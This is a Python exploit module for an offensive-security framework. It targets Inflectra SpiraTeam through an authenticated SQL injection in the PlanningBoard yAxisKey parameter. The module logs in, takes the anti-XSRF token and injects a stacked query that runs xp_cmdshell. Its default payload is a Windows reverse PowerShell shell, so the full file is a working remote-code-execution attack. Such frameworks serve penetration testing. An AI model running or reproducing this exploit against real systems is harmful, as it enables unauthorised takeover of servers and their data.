Inflectra SpiraTeam PlanningBoard yAxisKey SQLi RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Inflectra SpiraTeam PlanningBoard yAxisKey SQLi to xp_cmdshell RCE."""

from __future__ import annotations

import json
import re
import time
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Inflectra SpiraTeam PlanningBoard yAxisKey SQLi RCE",
        "description": (
            "Authenticated PlanningBoard_MoveItems yAxisKey SQL injection reaches "
            "REQUIREMENT_RETRIEVE_CUSTOM EXEC(@SQL) and xp_cmdshell (Windows)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/reverse_powershell",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["inflectra", "spirateam", "sqli", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": [
                    "scanner/http/spirateam_planningboard_sqli_rce_detect",
                ],
            },
        },
    }

    port = OptPort(443, "SpiraTeam HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("", "SpiraTeam username", required=True)
    password = OptString("", "SpiraTeam password", required=True)
    workspace_id = OptInteger(1, "Planning board workspaceId", required=False)

    def _login(self) -> bool:
        resp = self.http_request("GET", "/Login.aspx", session=True)
        html = (resp.text or "") if resp else ""
        vs = ""
        vsg = ""
        m = re.search(r'id="__VIEWSTATE"\s+value="([^"]*)"', html)
        if m:
            vs = m.group(1)
        m = re.search(r'id="__VIEWSTATEGENERATOR"\s+value="([^"]*)"', html)
        if m:
            vsg = m.group(1)
        body = urlencode(
            {
                "__VIEWSTATE": vs,
                "__VIEWSTATEGENERATOR": vsg,
                "mpLogin$cplMainContent$LoginUser$UserName": str(self.username or ""),
                "mpLogin$cplMainContent$LoginUser$Password": str(self.password or ""),
                "mpLogin$cplMainContent$LoginUser$RememberMe": "on",
                "mpLogin$cplMainContent$LoginUser$btnLogin": "Log In",
            }
        )
        post = self.http_request(
            "POST",
            "/Login.aspx",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
            allow_redirects=False,
        )
        return bool(post and int(post.status_code or 0) == 302)

    def _xsrf_token(self) -> str:
        jar = getattr(self.session, "cookies", None)
        if jar is not None:
            val = jar.get("__AntiXsrfToken")
            if val:
                return str(val)
        return ""

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed — check credentials"
        xsrf = self._xsrf_token()
        if not xsrf:
            return "missing __AntiXsrfToken cookie after login"
        cmd_json = cmd.replace("\\", "\\\\")
        payload = f"x' OR 1=1; EXEC xp_cmdshell '{cmd_json}' --"
        wrapped = {
            "PlanningBoard_MoveItems": {
                "workspaceId": int(self.workspace_id or 1),
                "displayModeId": 1,
                "groupById": None,
                "groupByKey": None,
                "yAxisId": 1,
                "yAxisKey": payload,
                "xAxisId": 1,
                "xAxisKey": None,
                "items": [],
                "existingArtifactTypeId": None,
                "existingArtifactId": None,
            }
        }
        resp = self.http_request(
            "POST",
            "/Services/Ajax/PlanningBoardService.svc/PlanningBoard_MoveItems",
            data=json.dumps(wrapped),
            headers={
                "Content-Type": "application/json; charset=UTF-8",
                "X-AntiXsrfToken": xsrf,
            },
            session=True,
        )
        code = int(getattr(resp, "status_code", 0) or 0) if resp else 0
        body = (resp.text or "")[:500] if resp else ""
        if code == 500 and "NullReferenceException" in body:
            return (
                "HTTP 500 NRE (test fixture / seeding); SQLi sink may still apply in "
                f"production. body={body[:200]}"
            )
        if code == 200:
            return f"PlanningBoard_MoveItems HTTP 200 — xp_cmdshell dispatched: {cmd}"
        return f"unexpected HTTP {code}: {body}"

    def check(self):
        resp = self.http_request("GET", "/Login.aspx")
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "SpiraTeam login reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "Login page not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.username or "").strip() or not str(self.password or "").strip():
            print_error("Set SpiraTeam username and password")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("PlanningBoard_MoveItems SQLi → xp_cmdshell")
        print_info(self.execute(shell))
        time.sleep(1)
        self.vulnerable()
        blind = bool(re.search(r"reverse|powershell|/dev/tcp|nc ", shell, re.I))
        return True if blind else True